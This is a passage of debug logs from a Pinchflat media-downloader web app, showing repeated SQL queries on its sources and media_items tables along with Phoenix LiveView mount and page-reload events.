s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 21:58:47.878 [debug] QUERY OK source="media_items" db=0.5ms idle=3.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 21:58:47.879 [debug] QUERY OK source="media_items" db=0.9ms queue=0.4ms idle=3.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:47.887 [info] Sent 200 in 26ms 21:58:48.184 [info] CONNECTED TO Phoenix.LiveView.Socket in 21µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "InAVBUgtFhgtdSomW0ZuACEzIWwCNhNwZCgqp_Ezh8iO1t-irlo-tq_I", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.javi.fr/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "https://pinchflat.javi.fr/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:58:48.232 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9", "media_state" => "pending", "source_id" => 5} 21:58:48.233 [debug] QUERY OK source="sources" db=0.9ms idle=356.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 21:58:48.234 [debug] QUERY OK source="media_items" db=0.5ms idle=357.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 21:58:48.235 [debug] QUERY OK source="media_items" db=0.7ms idle=357.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:48.235 [debug] Replied in 3ms 21:58:48.236 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9", "media_state" => "downloaded", "source_id" => 5} 21:58:48.236 [debug] QUERY OK source="sources" db=0.5ms idle=358.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 21:58:48.237 [debug] QUERY OK source="media_items" db=0.6ms idle=357.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 21:58:48.238 [debug] QUERY OK source="media_items" db=0.5ms idle=4.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:48.238 [debug] Replied in 2ms 21:58:48.239 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9", "media_state" => "other", "source_id" => 5} 21:58:48.239 [debug] QUERY OK source="sources" db=0.5ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 21:58:48.247 [debug] QUERY OK source="media_items" db=0.6ms idle=11.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 21:58:48.248 [debug] QUERY OK source="media_items" db=0.9ms idle=10.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:48.248 [debug] Replied in 9ms 21:58:48.249 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9"} 21:58:48.249 [debug] Replied in 55µs 21:58:48.798 [debug] Current batch of media processed. Will check again in 1000ms 21:58:48.842 [debug] Current batch of media processed. Will check again in 1000ms 21:58:49.742 [debug] HANDLE EVENT "reload_page" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"value" => ""} 21:58:49.742 [debug] Replied in 115µs 21:58:49.744 [debug] QUERY OK source="media_items" db=1.7ms idle=481.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 21:58:49.745 [debug] QUERY OK source="media_items" db=1.6ms queue=0.3ms idle=11.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 21:58:49.745 [debug] QUERY OK source="media_items" db=0.9ms queue=0.6ms idle=11.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 21:58:49.746 [debug] QUERY OK source="media_items" db=0.9ms queue=0.2ms idle=13.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:49.747 [debug] QUERY OK source="media_items" db=1.0ms queue=0.4ms idle=13.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:49.747 [debug] QUERY OK source="media_items" db=0.8ms queue=0.4ms idle=1.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:49.799 [debug] Current batch of media processed. Will check again in 1000ms 21:58:49.843 [debug] Current batch of media processed. Will check again in 1000ms 21:58:50.194 [debug] HANDLE EVENT "reload_page" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"value" => ""} 21:58:50.194 [debug] Replied in 100µs 21:58:50.197 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=450.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 21:58:50.197 [debug] QUERY OK source="media_items" db=1.6ms queue=0.3ms idle=449.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 21:58:50.197 [debug] QUERY OK source="media_items" db=0.8ms queue=0.6ms idle=449.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 21:58:50.198 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=449.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:50.199 [debug] QUERY OK source="media_items" db=0.9ms queue=0.5ms idle=450.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:50.199 [debug] QUERY OK source="media_items" db=0.7ms queue=0.4ms idle=1.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:50.442 [debug] HANDLE EVENT "reload_page" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"value" => ""} 21:58:50.442 [debug] Replied in 118µs 21:58:50.445 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=245.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 21:58:50.445 [debug] QUERY OK source="media_items" db=1.6ms queue=0.3ms idle=244.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 21:58:50.445 [debug] QUERY OK source="media_items" db=0.8ms queue=0.7ms idle=244.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 21:58:50.446 [debug] QUERY OK source="media_items" db=1.1ms idle=246.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:50.447 [debug] QUERY OK source="media_items" db=1.0ms queue=0.3ms idle=182.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT 